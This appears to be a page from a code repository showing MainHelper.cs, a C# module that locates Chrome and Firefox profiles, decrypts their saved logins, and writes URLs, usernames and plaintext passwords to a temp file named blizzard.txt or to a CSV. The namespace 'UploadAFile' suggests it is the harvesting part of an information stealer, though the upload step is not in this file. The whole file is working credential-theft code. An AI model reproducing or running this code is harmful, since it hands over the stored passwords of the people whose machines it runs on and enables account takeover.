-
Notifications
You must be signed in to change notification settings - Fork 26
/
MainHelper.cs
213 lines (177 loc) · 8.29 KB
/
MainHelper.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Principal;
using System.Text;
using System.Threading.Tasks;
namespace UploadAFile
{
class MainHelper
{
public static bool IsAdministrator()
{
var identity = WindowsIdentity.GetCurrent();
var principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
public static List<BrowserLoginData> GetChromePasswords(string userAccountName)
{
List<string> chromeProfiles = FindChromeProfiles();
List<BrowserLoginData> loginDataList = new List<BrowserLoginData>();
foreach (string chromeProfile in chromeProfiles)
{
var userName = Environment.UserName;
var storedpass = "C:\\Users\\" + userName + "\\AppData\\Local\\Temp\\blizzard.txt";
string loginDataFile = chromeProfile + @"\Login Data";
if (File.Exists(loginDataFile))
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"[+] Found Chrome credential database for user: \"{userAccountName}\" at: \"{loginDataFile}\"");
Console.ResetColor();
ChromeDatabaseDecryptor decryptor = new ChromeDatabaseDecryptor(loginDataFile);
loginDataList = (loginDataList.Concat(decryptor.ChromeLoginDataList)).ToList();
/*using (StreamWriter sw = File.AppendText(storedpass))
{
sw.WriteLine(loginDataList);
}
Console.ReadLine();*/
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"[-] No credential database found in chrome profile {chromeProfile}");
Console.ResetColor();
}
}
return loginDataList;
}
public static List<string> FindChromeProfiles()
{
string localAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
string chromeDirectory = localAppData + @"\Google\Chrome\User Data";
List<string> profileDirectories = new List<string>();
if (Directory.Exists(chromeDirectory))
{
//Add default profile location once existence of chrome directory is confirmed
profileDirectories.Add(chromeDirectory + "\\Default");
foreach (string directory in Directory.GetDirectories(chromeDirectory))
{
if (directory.Contains("Profile "))
{
profileDirectories.Add(directory);
}
}
}
return profileDirectories;
}
//Overload for case where master password is set
public static List<BrowserLoginData> GetFirefoxPasswords(string userAccountName, string masterPassword)
{
List<BrowserLoginData> loginDataList = new List<BrowserLoginData>();
foreach (string profile in FindFirefoxProfiles(userAccountName))
{
FirefoxDatabaseDecryptor decryptor = new FirefoxDatabaseDecryptor(profile, masterPassword);
try
{
//Take the list of logins from this decryptor and add them to the total list of logins
loginDataList = (loginDataList.Concat(decryptor.FirefoxLoginDataList)).ToList();
}
catch (ArgumentNullException)
{
//ArgumentNullException will be thrown when no key4.db file exists in a profile directory
}
}
return loginDataList;
}
public static List<string> FindFirefoxProfiles(string userAccountName)
{
//List to store profile directories
List<string> profileDirectories = new List<string>();
//Roaming directory contains most firefox artifacts apart from cache
string roamingDir = $"C:\\Users\\{userAccountName}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles";
//Check roaming profile
if (Directory.Exists(roamingDir))
{
string[] roamingProfiles = Directory.GetDirectories(roamingDir);
foreach (string directory in roamingProfiles)
{
profileDirectories.Add(directory);
}
}
return profileDirectories;
}
public static string GetCurrentUser()
{
//Get username for currently running account (SamCompatible Enum format)
string userAccountSamCompatible = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
//Remove domain and backslashes from name
int index = userAccountSamCompatible.IndexOf("\\", 0, userAccountSamCompatible.Length) + 1;
string userAccountName = userAccountSamCompatible.Substring(index);
return userAccountName;
}
public static void PrintLoginsToConsole(List<BrowserLoginData> loginDataList)
{
var userName = Environment.UserName;
var storedpass = "C:\\Users\\" + userName + "\\AppData\\Local\\Temp\\blizzard.txt";
string line = new string('=', 60);
Console.ForegroundColor = ConsoleColor.White;
using (StreamWriter sw = File.AppendText(storedpass))
{
sw.WriteLine(line);
}
using (StreamWriter sw = File.AppendText(storedpass))
{
foreach (BrowserLoginData loginData in loginDataList)
{
sw.WriteLine($"URL {loginData.FormSubmitUrl}");
sw.WriteLine($"Username {loginData.Username}");
sw.WriteLine($"Password {loginData.Password}");
sw.WriteLine($"Browser {loginData.Browser}");
sw.WriteLine(line);
}
}
Console.ResetColor();
}
/*
public static void PrintHelpToConsole()
{
Console.ForegroundColor = ConsoleColor.White;
Console.WriteLine("OPTIONS:");
Console.WriteLine(" -c, --chrome Locate and decrypt Google Chrome logins\n");
Console.WriteLine(" -f, --firefox Locate and decrypt Mozilla Firefox logins\n");
Console.WriteLine(" -a, --all Locate and decrypt Google Chrome and Mozilla Firefox logins\n");
Console.WriteLine(" -p, --password (Optional) Master password for Mozilla Firefox Logins\n");
Console.WriteLine(" -o, --outfile Write output to csv\n");
Console.WriteLine(" --help Display help message");
Console.ResetColor();
}
*/
public static void WriteToCSV(List<BrowserLoginData> loginDataList, string outfile)
{
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine($"[*] Writing decrypted logins to {outfile}");
Console.ResetColor();
try
{
using (StreamWriter file = new StreamWriter(outfile))
{
file.WriteLine("URL,Username,Password,Browser");
foreach (BrowserLoginData loginData in loginDataList)
{
file.WriteLine($"{loginData.FormSubmitUrl}," +
$"{loginData.Username}," +
$"{loginData.Password}," +
$"{loginData.Browser}");
}
}
}
catch (Exception e)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(e);
Console.ResetColor();
}
}
}
}